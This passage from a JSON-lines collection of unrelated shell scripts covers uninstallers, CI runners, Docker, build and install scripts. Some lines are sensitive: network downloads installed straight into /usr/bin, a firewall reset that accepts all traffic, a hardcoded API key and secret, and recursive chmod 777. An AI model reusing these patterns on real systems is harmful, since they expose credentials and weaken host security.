X.plist\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/Norton Utilities Preferences\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/Norton Zone\"\n\t\trm -rf \"/Users/$USERS/Library/Preferences/wcid\"\n\t\trm -rf \"/Users/$USERS/Library/Safari/Extensions/Norton*\"\n\t\trm -rf \"/Users/$USERS/Library/Safari/Extensions/Symantec*\"\n\t\trm -rf \"/Users/$USERS/Library/Saved Application State/com.symantec*\"\n\tfi\ndone\n\n# Finally get the mac to forget that it ever installed this product\n\n# Get all the pkg receipts left on the system\n\nreceipt=$( $( pkgutil --pkgs | grep 'symantec\\|norton' ) )\n\n# Calculate the length of the receipt array.\n\ntLen=${#receipts[@]}\n\n# Loop around the array and remove the receipts.\n\nfor (( i=0; i<${tLen}; i++ ));\ndo\n echo \"Now removing receipt \"${receipts[$i]}\n pkgutil --forget ${receipts[$i]}\ndone\n\nexit 0"} {"text": "#!/usr/bin/env bash\n\nset -e\nset -o pipefail\n\n# add npm packages to $PATH\nexport PATH=$(pwd)/node_modules/.bin:$PATH\n\n# set up code coverage instrumentation\nrm -rf coverage .nyc_output\n\n# run linters\nnpm run lint\n\n# run unit tests\ntap --reporter dot --coverage --no-coverage-report test/js/*/*.js\n\n# allow writing core files for render tests\nulimit -c unlimited -S\necho 'ulimit -c: '`ulimit -c`\necho '/proc/sys/kernel/core_pattern: '`cat /proc/sys/kernel/core_pattern`\nsysctl kernel.core_pattern\n\n# run render tests\nistanbul cover --dir .nyc_output --include-pid --report none --print none test/render.test.js &&\nistanbul cover --dir .nyc_output --include-pid --report none --print none test/query.test.js\nEXIT_CODE=$?\n\n# collect core dumps from render tests\nif [[ ${EXIT_CODE} != 0 ]]; then\n echo \"The program crashed with exit code ${EXIT_CODE}. We're now trying to output the core dump.\"\nfi\nfor DUMP in $(find ./ -maxdepth 1 -name 'core*' -print); do\n gdb `which node` ${DUMP} -ex \"thread apply all bt\" -ex \"set pagination 0\" -batch\n rm -rf ${DUMP}\ndone\n\n# send coverage report to coveralls\nnyc report --reporter=lcov\nnode ./node_modules/coveralls/bin/coveralls.js < ./coverage/lcov.info\n\n# return original error code\nif [[ ${EXIT_CODE} != 0 ]]; then\n exit $EXIT_CODE\nfi"} {"text": "#!/usr/bin/env bash\n\n#########################\n## IMAGES OPTIMIZATION ##\n## version 1.0.0 ##\n#########################\n\n# INPUT: folder with images\nif [ -z $1 ]\nthen\n # no input\n echo \"(1) No folder choosed\"\n echo \"Example: /var/www/project.com/\"\n exit\nfi\n\ncd \"$1\"\nfind -type f -name \"*.jpg\" -exec jpegoptim --strip-all {} \\;\nfind -type f -name \"*.png\" -exec optipng {} \\;"} {"text": "docker-run.sh0\n#! /usr/bin/env bash\nset -e # exit on error\n\n# Variables\nif [ -z \"$SMTP_LOGIN\" -o -z \"$SMTP_PASSWORD\" ] ; then\n\techo \"SMTP_LOGIN and SMTP_PASSWORD _must_ be defined\"\n\texit 1\nfi\nexport SMTP_LOGIN SMTP_PASSWORD\nexport EXT_RELAY_HOST=${EXT_RELAY_HOST:-\"email-smtp.us-east-1.amazonaws.com\"}\nexport EXT_RELAY_PORT=${EXT_RELAY_PORT:-\"25\"}\nexport RELAY_HOST_NAME=${RELAY_HOST_NAME:-\"relay.example.com\"}\nexport ACCEPTED_NETWORKS=${ACCEPTED_NETWORKS:-\"192.168.0.0/16 172.16.0.0/12 10.0.0.0/8\"}\nexport USE_TLS=${USE_TLS:-\"no\"}\nexport TLS_VERIFY=${TLS_VERIFY:-\"may\"}\nexport DEFAULT_RECIPIENT=${DEFAULT_RECIPIENT:-\"\"}\n\necho $RELAY_HOST_NAME > /etc/mailname\n\n# Templates\nj2 /root/conf/postfix-main.cf > /etc/postfix/main.cf\nj2 /root/conf/sasl_passwd > /etc/postfix/sasl_passwd\npostmap /etc/postfix/sasl_passwd\n\nif [ $DEFAULT_RECIPIENT != \"\" ]; then\n j2 /root/conf/recipient_canonical > /etc/postfix/recipient_canonical\n postmap /etc/postfix/recipient_canonical\n echo -e \"\\nrecipient_canonical_maps = regexp:/etc/postfix/recipient_canonical\" >> /etc/postfix/main.cf\nfi\n\n# Launch\nrm -f /var/spool/postfix/pid/*.pid\n/usr/bin/supervisord -c /etc/supervisor/conf.d/supervisor-all.conf\n\n# Showing logs\ntouch /var/log/mail.log\nchown syslog:adm /var/log/mail.log\nchmod 640 /var/log/mail.log\ntail -fn0 /var/log/mail.log\n\nexit 0"} {"text": "jenkins/linux_csharp_netcore.sh0\n#!/usr/bin/env bash\n# Copyright (c) Microsoft. All rights reserved.\n# Licensed under the MIT license. See LICENSE file in the project root for full license information.\n\n./build.sh -clean -configuration Debug\nif [ \"$?\" -ne 0 ]; then\n\texit 1\nfi \n\n./build.sh -clean -configuration Release -e2etests\nif [ \"$?\" -ne 0 ]; then\n\texit 1\nfi \n\necho\necho Linux C# build completed successfully.\necho"} {"text": "hkdb/SSHshare\n#!/bin/bash\n\nPOSITIONAL=()\n\nif [ \"$#\" != 2 ] && [ \"$1\" != \"-h\" ]; then\n echo -e '\\nSomething is missing... Type \"./setup -h\" without the quotes to find out more...\\n'\n exit 0\nfi\n\nwhile [[ $# -gt 0 ]]\ndo\nkey=\"$1\"\n\ncase $key in\n -v|--version)\n VERSION=\"$2\"\n shift # past argument\n shift # past value\n ;;\n -h|--help)\n echo -e \"\\nVBoxMacSetup $VERSION\\n\\nOPTIONS:\\n\\n-v, --vm: Virtual Machine Name\\n-r, --resolution: VM Resolution\\n-h, --help: Help\\n\\nEXAMPLE:\\n\\n./setup.sh -v MacOS -r 1920x1080\\n\"\n exit 0\n ;;\nesac\ndone\nset -- \"${POSITIONAL[@]}\" # restore positional parameters\n\nDIR=\"SSHshare-v$VERSION-x64-Linux\"\nmkdir $DIR\ncp SSHshare $DIR/ \ncp ../SSHshare-icon.png $DIR\ncp dist/install.sh $DIR/\ntar -cjvf SSHshare-v$VERSION-x64-Linux.tar.bz2 $DIR"} {"text": "getCoefficients.sh0\n# Gets the count of occurences of the method with regression, the length of the test case and the relation between both\n# This supports the analysis of measurement results: If a method with a regression if often called by a test, it is likely\n# that the regression can be measured easily\n\n# Please replace these for local execution\nfolder=/home/reichelt/daten4/diss/repos/jetty-evaluation/peass/traces\njettyFolder=/home/reichelt/nvme/workspaces/dissworkspace/projects/jetty.project\nfor file in $(ls $folder | grep regression)\ndo\n\techo -n \"$file \"\n\tmethod=$(cat src/main/resources/regressions.csv | grep \"$file;\" | awk -F';' '{print $3}')\n\techo -n \"$method \"\n\tjava -cp target/jetty-evaluation-0.1-SNAPSHOT.jar \\\n de.dagere.peassEvaluation.SelectTest \\\n -dependencyfile $folder/$file/results/deps_jetty.project.json \\\n -tracesFolder $folder/$file/results \\\n -method $method \\\n -folder $jettyFolder &> randomselection.txt\n\tmethodName=$(cat test.txt | awk -F '#' '{print $2}')\n\tclazzName=$(cat test.txt | awk -F '[§#]' '{print $2}')\n\tcat randomselection.txt | grep \"Test: TestCase \" | uniq | grep $clazzName | grep $methodName | awk '{print $NF\" \"$(NF-1)\" \"$(NF-2)}'\n\tif [ ! -f test.txt ]\n\tthen\n\t\techo \"Result file of java process could not be found\"\n\t\texit 1\n\tfi\n\trm test.txt\ndone"} {"text": "1-10\n#!/bin/env bash\n\nfunction provide_project() {\n ./kubernetes/helm-apps/gerrit/provision.sh provide_project \"${1}\" \"${2}\"\n}\n\nprovide_project Sample-Project ./git-projects/Sample-Project\n# provide_project Jenkins ./git-projects/Jenkins\n# provide_project Sample-Jenkins-Git-Repository ./git-projects/Sample-Jenkins-Git-Repository\n# provide_project Helm-Gerrit ./kubernetes/helm-apps/gerrit\n# provide_project Helm-Ghost ./kubernetes/helm-apps/ghost\n# provide_project Helm-Jenkins ./kubernetes/helm-apps/jenkins\n# provide_project Helm-Monitoring ./kubernetes/helm-apps/monitoring\n# provide_project Helm-Nexus ./kubernetes/helm-apps/nexus\n# provide_project Helm-PgAdmin4 ./kubernetes/helm-apps/pgadmin4\n# provide_project Helm-PhpMyAdmin ./kubernetes/helm-apps/phpmyadmin\n# provide_project Helm-Plantuml ./kubernetes/helm-apps/plantuml\n# provide_project Helm-Redmine ./kubernetes/helm-apps/redmine\n# provide_project Helm-SonarQube ./kubernetes/helm-apps/sonarqube\n# provide_project Helm-Xwiki ./kubernetes/helm-apps/xwiki"} {"text": "function add_to_path_() {\n [ -z $1 ] || export PATH=\"${1}:${PATH}\"\n}\n\nfunction affix_to_path_() {\n [ -z $1 ] || export PATH=\"${1}:${PATH}\"\n}\n\nfunction perpend_to_path_() {\n [ -z $1 ] || export PATH=\"${1}:${PATH}\"\n}\n\nfunction append_to_path_() {\n [ -z $1 ] || export PATH=\"${PATH}:${1}\"\n}"} {"text": "#!/bin/bash\n\nscripts=$(find commands -type f)\nlibs=$(find lib -name '*.sh')\n\nsuccess=0\nfailure=1"} {"text": "khrushjing/node-gdal-async\n#!/bin/bash\n\nset -eu\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\ncd \"$DIR/libhdf5\"\n\nHDF5_VERSION=1.12.1\ndir_hdf5=./hdf5\n\n#\n# download hdf5 source\n#\n\nrm -rf $dir_hdf5\nif [[ ! -f hdf5-${HDF5_VERSION}.tar.gz ]]; then\n\tcurl -L https://github.com/HDFGroup/hdf5/archive/refs/tags/hdf5-`echo ${HDF5_VERSION} | tr \".\" \"_\"`.tar.gz -o hdf5-${HDF5_VERSION}.tar.gz\nfi\ntar -xzf hdf5-${HDF5_VERSION}.tar.gz\nmv hdf5-hdf5-`echo ${HDF5_VERSION} | tr \".\" \"_\"` $dir_hdf5\ncp H5pubconf.h $dir_hdf5/src/H5pubconf.h\n\n# make, called by gyp, called by node-gyp has a built-in rule that will sometimes mess with .l/.y files\nfind ${dir_hdf5} -name *.[ly] -delete\n\n#\n# apply patches\n#\nfor PATCH in patches/*.diff; do\n echo \"Applying ${PATCH}\"\n patch -p1 < $PATCH\ndone\n\n[ -d ${dir_hdf5} ] && rm -rf ${dir_hdf5}/{tools,test,testpar}"} {"text": "s123600g/openfaceInstallscript\n# !/bin/bash\nPATH=/sbin:/bin:/usr/bin\n\necho \"安裝luarocks.\"\n\n#安裝luarocks\nsudo apt-get install -y luarocks\n\necho \"設定Torch目錄權限.\"\n#賦予安裝再家目錄底下的torch目錄root權限\nsudo chmod -R 777 ~/src/torch"} {"text": "command=$1\nset -e\n\necho \"testing t00_exprs\"\n$command -f input/t00_exprs.in > results.out\n#cp results.out expected/t00_exprs.expected\ndiff expected/t00_exprs.expected results.out\nrm results.out\n\necho \"testing t01_globals\"\n$command -f input/t01_globals.in > results.out\n#cp results.out expected/t01_globals.expected\ndiff expected/t01_globals.expected results.out\nrm results.out\n\necho \"testing t02_locals\"\n$command -f input/t02_locals.in > results.out\n#cp results.out expected/t02_locals.expected\ndiff expected/t02_locals.expected results.out\nrm results.out\n\necho \"testing t03_types\"\n$command -f input/t03_types.in > results.out\n#cp results.out expected/t03_types.expected\ndiff expected/t03_types.expected results.out\nrm results.out\n\necho \"testing t04_stmts_1\"\n$command -f input/t04_stmts_1.in > results.out\n#cp results.out expected/t04_stmts_1.expected\ndiff expected/t04_stmts_1.expected results.out\nrm results.out\n\necho \"testing t05_upvals\"\n$command -f input/t05_upvals.in > results.out\n#cp results.out expected/t05_upvals.expected\ndiff expected/t05_upvals.expected results.out\nrm results.out\n\necho \"testing t06_close\"\n$command -f input/t06_close.in > results.out\n#cp results.out expected/t06_close.expected\ndiff expected/t06_close.expected results.out\nrm results.out\n\necho \"testing t07_concat\"\n$command -f input/t07_concat.in > results.out\n#cp results.out expected/t07_concat.expected\ndiff expected/t07_concat.expected results.out\nrm results.out\n\necho \"testing t08_genericfor\"\n$command -f input/t08_genericfor.in > results.out\n#cp results.out expected/t08_genericfor.expected\ndiff expected/t08_genericfor.expected results.out\nrm results.out\n\necho \"testing t09_bugs\"\n$command -f input/t09_bugs.in > results.out\n#cp results.out expected/t09_bugs.expected\ndiff expected/t09_bugs.expected results.out\nrm results.out"} {"text": "#!/bin/bash\n\nset -ex\n\npython -m pip install transifex-client\n\necho \"[https://www.transifex.com]\nhostname = https://www.transifex.com\nusername = ${TRANSIFEX_USER}\npassword = ${TRANSIFEX_PASSWORD}\n\" > ~/.transifexrc\n\necho \"Publishing to Transifex...\"\ntx push --source --parallel\necho \"Finish pushing to Transifex\""} {"text": "#!/bin/bash\n#SBATCH --chdir=./\n#SBATCH --job-name=setophaga_mappability_gen_mask_2\n#SBATCH --nodes=6 --ntasks=12\n#SBATCH --partition quanah\n#SBATCH --time=48:00:00\n#SBATCH --mem-per-cpu=8G\n\ngen_mask -l 35 -r 0.5 setophaga_rawMask.35.fa > setophaga_mask.35.50.fa"} {"text": "0\n#!/bin/bash\nclear\necho \"##### DNS Root Server Check\"\n\nhost e.root-servers.net | grep -v \"IPv6\"\nhost m.root-servers.net | grep -v \"IPv6\"\nhost b.root-servers.net | grep -v \"IPv6\"\nhost d.root-servers.net | grep -v \"IPv6\"\nhost c.root-servers.net | grep -v \"IPv6\"\nhost f.root-servers.net | grep -v \"IPv6\"\nhost l.root-servers.net | grep -v \"IPv6\"\nhost j.root-servers.net | grep -v \"IPv6\"\nhost i.root-servers.net | grep -v \"IPv6\"\nhost g.root-servers.net | grep -v \"IPv6\"\nhost a.root-servers.net | grep -v \"IPv6\"\nhost h.root-servers.net | grep -v \"IPv6\"\nhost k.root-servers.net | grep -v \"IPv6\""} {"text": "100-1000\n#!/usr/bin/env bash\n\nfunction setup_ios_env() {\n $DIR/../../flank-scripts/bash/flankScripts dependencies setup_ios_env\n}\n\nfunction install_xcpretty() {\n $DIR/../../flank-scripts/bash/flankScripts dependencies install_xcpretty\n}\n\nfunction universal_framework() {\n $DIR/../../flank-scripts/bash/flankScripts dependencies universal_framework_files\n}\n\nfunction earl_grey_example() {\n $DIR/../../flank-scripts/bash/flankScripts assemble io earl_grey --copy --generate\n}\n\necho \"iOS EarlGreyExample test projects ops loaded\""} {"text": "#!/bin/bash\n#\n# Add the ack-grep \n#\n\nif [ $(id -u) != 0 ]; then\n echo \"ERROR: $0 must be be run as root, not as `whoami`\" 2>&1\n exit 1\nfi\n\nif [[ ! -e /usr/bin/ack ]]; then\n echo \"Installing ack-grep...\"\n curl https://beyondgrep.com/ack-2.22-single-file > /usr/bin/ack && chmod 0755 /usr/bin/ack && ln -s /usr/bin/ack /usr/bin/ack-grep\nfi"} {"text": "1-10\npip install -q --upgrade pip\npip install -q --upgrade setuptools\npip install -q tensorflow==1.15\npip install -q tensorflow-gpu==1.15\npip install -q tqdm\npip install -q \\\n h5py \\\n matplotlib \\\n mkl \\\n nose \\\n notebook \\\n Pillow \\\n pandas \\\n pydot \\\n pyyaml \\\n numpy \\\n scipy \\\n scikit-learn \\\n six \\\n theano \\\n padasip \\\n keras\n# libbsc for entropy coding\n(cd libbsc && make)\n# compile nlms_helper for actual compression with nlms\ng++ nlms_helper.cpp -std=c++11 -o nlms_helper.out -Wall -O3 -march=native"} {"text": "script/dump_db_oracle_soft.sh\n\n#**********************************************************\n# oracle soft keep many info in os, such as:\n# alert log, opatch info, crs stat, etc.\n#\n# dump alert log only that happened from early last month.\n# brute force algorithm: tail -800000 log then find matched.\n# misc.out created by get_db_oracle_misc.sql\n# \n# @input: misc.out(date, alert file path)\n# @output: alert_sid.log, 4-runlog.xml\n#**********************************************************\n\nWLOG()\n{\n echo \"[`date +'%Y-%m-%d %H:%M:%S'`]$1\"| tee -a ../dump.log\n}\n\nsed '/^$/d;s/ //g' misc.out > sed1.tmp\nmv sed1.tmp misc.out\nmAlertPath=`head -1 misc.out |tail -1`\nmAlertName=`head -2 misc.out |tail -1`\n\ntail -800000 \"$mAlertPath/$mAlertName\" > alert_0.tmp\n\n# process different log time format, output matched time lines\n# @input alert_0.tmp\n# @output date.tmp\nsh ../script/sub_readalert.sh\n\n# if not matched, return some lastest log\nmMatchCount=`cat date.tmp|wc -l`\nmMatchCount=`expr $mMatchCount`\nif [ \"$mMatchCount\" -eq 0 ]; then\n tail -50000 alert_0.tmp > alert_1.tmp\n WLOG \"[$0][info] filter alert log content fail, return last 50000 lines.\"\nelse\n # use date.tmp's first date to locate line in alert.log\n mFirstDate=`head -1 date.tmp`\n grep -n \"$mFirstDate\" alert_0.tmp |head -1 > date.tmp\n mPos=`awk -F: '{print $1}' date.tmp`\n mAll=`cat alert_0.tmp|wc -l`\n mPos=`expr $mAll - $mPos `\n mPos=`expr $mPos + 1 `\n if [ \"$mPos\" -gt 50000 ]; then\n tail -50000 alert_0.tmp > alert_1.tmp\n else\n tail -$mPos alert_0.tmp > alert_1.tmp\n fi\nfi\n# filter normal info such as redo swith, along with date line\n# @input alert_1.tmp\n# @output alert_1.tmp\nsh ../script/sub_filteralert.sh\nmv alert_1.tmp \"$mAlertName\"\n\nrm alert_0.tmp\n\n#####################################################\n# opatch info\nmSoftInfo=\"4-runlog.xml\"\n\n# clear, and avoid UTF-BOM\necho \"\" > $mSoftInfo\n\nECHO()\n{\n echo \"$1\" | tee -a $mSoftInfo\n}\nECHO_C()\n{\n echo \"$1\\\"$2\\\"/>\" | tee -a $mSoftInfo\n}\nECHO_M()\n{\n echo \"$1\" |sed 's/\\&/\\&\\;/g' |sed 's/\" | tee -a $mSoftInfo\necho \"\" | tee -a $mSoftInfo\n\n\nlsnrPath=`lsnrctl status|grep \"Listener Log File\" |awk '{print $NF}' |sed 's/log.xml//g'`\nlsnrCnt=`ls $lsnrPath|wc -l`\nlsnrCnt=`expr $lsnrCnt `\nECHO_C \" \"\n ECHO_M \"`$oif_bin getif`\"\n ECHO \" \"\n\n crs_bin=`echo \"$grid_bin\" | sed 's/ocssd.bin/crsctl/g'`\n ECHO \"\"\n ECHO \" \"\n ECHO_M \"`$crs_bin stat res -t`\"\n ECHO \" \"\n\n if [ \"$mTmp\" -eq 1 ]; then\n # 11g, crs log in $GRID_HOME/log/\n csstmp=`hostname`/cssd\n grid_home=`ps -ef|grep ocssd.bin |grep -v grep | awk '{print $NF}'`\n csspath=`echo \"$grid_home\" | sed 's/bin\\/ocssd.bin/log/g'`\n csspath=`echo \"$csspath\"/\"$csstmp\"`\n\n ECHO \" \"\n ECHO_M \"`ls -t $csspath/ocssd* | head | xargs grep 'heartbeat fatal' | tail -50`\"\n ECHO \" \"\n\n ECHO \" \"\n ECHO_M \"`ls -t $csspath/ocssd* | head -1 |xargs tail -50`\"\n ECHO \" \"\n\n else\n # 12c, crs log in $GRID_BASE/diag\n mTracePath=`lsnrctl status|grep \"Listener Log File\" |awk '{print $NF}' |sed 's/tnslsnr/ /g'|awk '{print $1}'`\n mTracePath=`echo \"$mTracePath\"`crs/`hostname`/crs/trace\n \n ECHO \" \"\n ECHO_M \"`ls -t $mTracePath/ocssd*.trc | head | xargs grep 'heartbeat fatal' | tail -50`\"\n ECHO \" \"\n\n ECHO \" \"\n ECHO_M \"`ls -t $mTracePath/ocssd*.trc | head -1 |xargs tail -50`\"\n ECHO \" \"\n fi\nfi\n\nECHO \"\"\nECHO \"\""} {"text": "start.sh\nexport NEWS_API_KEY='8120360ba9e342dbaccb75e01109ca34'\nexport SECRET_KEY='millan'\n\npython3 manage.py server"} {"text": "#!/bin/bash\n\nas -g -o app.o app.s\nld -o app app.o"} {"text": "#!/bin/sh\n\npython3=\"python3\"\n\ncd $(dirname $0)\ncd ../\nProjectPath=$(pwd)\nProjectName=$(echo $ProjectPath | tr \"/\" \"\\n\" | tail -n 1)\necho \"ProjectPath: $ProjectPath\"\necho \"ProjectName: $ProjectName\"\n\ncd $ProjectPath\n\nexport PYTHONPATH=\"$PYTHONPATH:$ProjectPath/lib\"\nLOG=$ProjectPath/log/startup.log\nif [ ! -d $ProjectPath/log ]; then\n mkdir $ProjectPath/log\nfi\nif [ ! -d $ProjectPath/sqlite ]; then\n mkdir $ProjectPath/sqlite\nfi\nif [ ! -f $ProjectPath/sqlite/ec_db.db ]; then\n ./setup/reset_db.sh\nfi\n\necho --------------------------------------- >> $LOG\ndate >> $LOG\necho --------------------------------------- >> $LOG\n\nmyIP=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\\.){3}[0-9]*' | grep -Eo '([0-9]*\\.){3}[0-9]*'| grep -v '127.0.0.1')\n\nscreen -dmS $ProjectName >> $LOG 2>&1\nadd_to_screen() {\n TITLE=$1\n CMD=$2\n screen -S $ProjectName -X screen -t \"$TITLE\" bash -c \\\n \"\\\n while [ 1 ]; do \\\n $CMD; echo ========== restart ==========; sleep 1; \\\n done\"\n}\n\n# wait for screen.\nwhile [ 1 ]; do\n ps aux | grep -v grep | grep SCREEN | grep $ProjectName > /dev/null 2>&1\n if [ $? -eq 0 ]; then\n break\n fi\n sleep 1\ndone\n\n\n#add_to_screen CSM \"./bin/csm $python3\" \nadd_to_screen CSM \"sudo uwsgi ./lib/wsgi_csm.ini\"\necho \"Sleep 20 seconds for waitting CSM bootup.\"\n\nsleep 20\n\n#add_to_screen CCM \"./bin/ccm $python3\" \nadd_to_screen CCM \"sudo uwsgi ./lib/ccm/wsgi_ccm.ini\"\nadd_to_screen ESM \"./bin/esm $python3\" \n#add_to_screen WEB \"sudo $python3 ./da/web.py\" \nadd_to_screen Msg \"$python3 ./da/Message/message.py\"\n\n\n$python3 ./da/Remote_control/startup_panel.py\n#$python3 \"./da/Dandelion_control(mobile)/startup.py\"\n#$python3 ./da/agri_startup/DAI.py\n\n\n#echo \"Waiting for CHT Pirius booting. (2 mintues.)\"\n#sleep 120\n#add_to_screen CHT \"nodejs ./da/IoTtalk-CHT-master/index.js\" >> $LOG 2>&1"} {"text": "scripts/reset-iptables.sh\n#!/bin/sh\n\niptables -P INPUT ACCEPT\niptables -P FORWARD ACCEPT\niptables -P OUTPUT ACCEPT\n\niptables -t nat -F\niptables -t mangle -F\niptables -F\niptables -X"} {"text": "#!/bin/bash\nacpi -b | awk -F'[,:%]' '{print $2, $3}' | {\n\tread -r status capacity\n\n\tif [ \"$status\" = Discharging -a \"$capacity\" -lt 56 ]; \nthen\n\t\tlogger \"Critical battery threshold\"\n\t\tsudo /usr/sbin/pm-suspend\n\tfi\n}"} {"text": "10-100\n#!/bin/bash\n# \n# Copyright (C)  2022  Intel Corporation. \n#\n# This software and the related documents are Intel copyrighted materials, and your use of them is governed by the express license under which they were provided to you (\"License\"). Unless the License provides otherwise, you may not use, modify, copy, publish, distribute, disclose or transmit this software or the related documents without Intel's prior written permission.\n# This software and the related documents are provided as is, with no express or implied warranties, other than those that are expressly stated in the License.\n#\n# SPDX-License-Identifier: MIT\n\n./qemu-system-x86_64 name VM-6 -m 8000 -smp 2 -chardev socket,id=SOCKSYZ,server=on,nowait,host=localhost,port=999 -netdev user,id=net0,restrict=on,hostfwd=tcp:127.0.0.1:10022-:22 -kernel /root/tdx/linux-guest/bzImage-syzkaller"} {"text": "ci/detect-java-release.sh\n#!/bin/sh\n\nset -e${DEBUG_COMMANDS:+x}\n\njava_version=$(java -version 2>&1 | grep -i version | cut -d'\"' -f2)\nmajor=$(echo $java_version | cut -d'.' -f1)\n[ \"1\" = \"$major\" ] \\\n && echo \"$java_version\" | cut -d'.' -f2 \\\n || echo \"$java_version\" | cut -d'.' -f1\n#JAVA_RELEASE_VERSION=$(cat \"$HOME/java-version.info\")"} {"text": ".oh-my-zsh-custom/aliases.zsh\n# Open a file in IntelliJ IDEA\nalias idea=\"open -a \\\"IntelliJ IDEA CE\\\"\""} {"text": "Bklyn/apache-pulsar-grafana-dashboardpublish.sh\n#!/bin/bash\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n\nVERSION=0.0.1\n\nif [ -z \"$DOCKER_USER\" ]; then\n echo \"Docker user in variable \\$DOCKER_USER was not set. Skipping image publishing\"\n exit 1\nfi\n\nif [ -z \"$DOCKER_PASSWORD\" ]; then\n echo \"Docker password in variable \\$DOCKER_PASSWORD was not set. Skipping image publishing\"\n exit 1\nfi\n\nDOCKER_ORG=\"${DOCKER_ORG:-streamnative}\"\n\ndocker login ${DOCKER_REGISTRY} -u=\"$DOCKER_USER\" -p=\"$DOCKER_PASSWORD\"\nif [ $? -ne 0 ]; then\n echo \"Failed to loging to Docker Hub\"\n exit 1\nfi\n\nif [[ -z ${DOCKER_REGISTRY} ]]; then\n docker_registry_org=${DOCKER_ORG}\nelse\n docker_registry_org=${DOCKER_REGISTRY}/${DOCKER_ORG}\n echo \"Starting to push images to ${docker_registry_org}...\"\nfi\n\nset -x\nset -e\n\ndocker build -t streamnative/apache-pulsar-grafana-dashboard:latest .\ndocker tag streamnative/apache-pulsar-grafana-dashboard:latest ${docker_registry_org}/apache-pulsar-grafana-dashboard:latest\ndocker tag streamnative/apache-pulsar-grafana-dashboard:latest ${docker_registry_org}/apache-pulsar-grafana-dashboard:${VERSION}\ndocker push ${docker_registry_org}/apache-pulsar-grafana-dashboard:${VERSION}\ndocker push ${docker_registry_org}/apache-pulsar-grafana-dashboard:latest"} {"text": "bush/dockerfiles\n#!/bin/bash\n#docker run --rm -it -v /home/dave/stuff/geth:/root ethereum/client-go attach \ndocker run --rm -it -v /home/dave/stuff/geth:/root ethereum/client-go --testnet attach"} {"text": "echo \"\"\necho \"Comenzando la instalación del tema.\"\necho \"\"\nsudo echo\necho \"Eliminando carpeta de temas.\"\nsudo rm -r /boot/grub/themes\necho \"\"\necho \"¡Carpeta de temas eliminada correctamente!\"\necho \"\"\necho \"Creando nueva carpeta de temas.\"\nsudo mkdir /boot/grub/themes\nsudo mkdir /boot/grub/themes/gnulinuxtheme\necho \"\"\necho \"¡Carpeta de temas creada correctamente!\"\necho \"\"\necho \"Instalando tema.\"\nsudo cp -r -a * /boot/grub/themes/gnulinuxtheme\necho \"\"\necho \"¡Tema instalado correctamente!\"\necho \"\"\necho \"Configurando /etc/default/grub\"\nsudo sed -i '/^GRUB_THEME=/d' /etc/default/grub\necho | sudo tee -a /etc/default/grub\necho \"¡/etc/default/grub configurado correctamente!\"\necho \"\"\necho \"OUTPUT ECHO:\"\necho \"\"\necho \"GRUB_THEME=/boot/grub/themes/gnulinuxtheme/theme.txt\" | sudo tee -a /etc/default/grub\necho | sudo tee -a /etc/default/grub\necho \"OUTPUT ECHO:\"\necho \"GRUB_BACKGROUND=/boot/grub/themes/gnulinuxtheme/grub.png\" | sudo tee -a /etc/default/grub\necho \"\"\necho \"Actualizando Grub.\"\necho \"\"\nupdate-grub\necho \"\"\necho \"¡Grub actualizado correctamente!\"\necho \"\"\necho \"Actualizando Grub 2\"\necho \"\"\nupdate-grub2\necho \"\"\necho \"¡Grub 2 actualizado correctamente!\"\necho \"\"\necho \"El tema 'Gnu/Linux' para Grub/Grub2 se instaló y configuró correctamente. Reinicie su equipo para finalizar.\""} {"text": "#!/bin/bash\n\ndocker-compose --file bravo.yml up -d"} {"text": "donno2048/CITURbuild/build.sh\nBUILDROOT_VERSION=2020.05\nOS=$PWD\ngit clone -b $BUILDROOT_VERSION https://github.com/buildroot/buildroot.git buildroot_x86-64 --depth 1\ncd buildroot_x86-64\nmake BR2_EXTERNAL=\"$OS/external\" \"x86-64_defconfig\"\nmake\ncd $OS\ncp buildroot_x86-64/output/images/rootfs.iso9660 Rosehip.iso\necho \"DONE\""} {"text": "BASEDIR=$(dirname \"$0\")\n\npushd \"$BASEDIR/laradock\"\n\nsudo docker-compose exec workspace bash -c \"composer install && npm install\"\n\nsudo docker-compose exec workspace bash -c \"php artisan migrate:fresh && php artisan db:seed\"\n\nsudo docker-compose exec workspace bash -c \"npm run dev\"\n\npopd"} {"text": "#!/usr/bin/env bash\n\nINTERNAL_MONITOR=\"$(xrandr | grep \"eDP\" | grep -E \" connected\" | awk '{print $1}')\"\nEXTERNAL_MONITORS=( $(xrandr | grep -v \"${INTERNAL_MONITOR}\" | grep -E \" (dis)?connected\" | awk '{print $1}') )\n\n# Reset\nxrandr --output \"${INTERNAL_MONITOR}\" --primary --auto --pos 0x0 --rotate normal\nfor EXTERNAL_MONITOR in \"${EXTERNAL_MONITORS[@]}\"; do\n xrandr --output \"${EXTERNAL_MONITOR}\" --off\ndone"} {"text": "sri-arjuna/yassi-example\necho\necho \"post script # 1\"\necho"} {"text": "install.sh\n#!/bin/sh\n\nset -e\n\n# Settings\nDOTFILES=\"${HOME}/.dotfiles\"\nZSH=\"$DOTFILES/oh-my-zsh\"\nZSH_CUSTOM=\"${DOTFILES}/oh-my-zsh-custom\"\n\n# Overridable settings\nDOTFILES_REPO=${DOTFILES_REPO:-codfish/dotfiles}\nDOTFILES_TARBALL_PATH=\"https://github.com/${DOTFILES_REPO}/tarball/main\"\n\n# If missing, download and extract the dotfiles repository\nif [[ ! -d ${DOTFILES} ]]; then\n printf \"$(tput setaf 7)Downloading dotfiles...\\033[m\\n\"\n mkdir ${DOTFILES}\n # Get the tarball\n curl -fsSLo ${HOME}/dotfiles.tar.gz ${DOTFILES_TARBALL_PATH}\n # Extract to the dotfiles directory\n tar -zxf ${HOME}/dotfiles.tar.gz --strip-components 1 -C ${DOTFILES}\n # Remove the tarball\n rm -rf ${HOME}/dotfiles.tar.gz\nfi\n\ncd ${DOTFILES}\nsource ./lib/utils\n\n# Before relying on 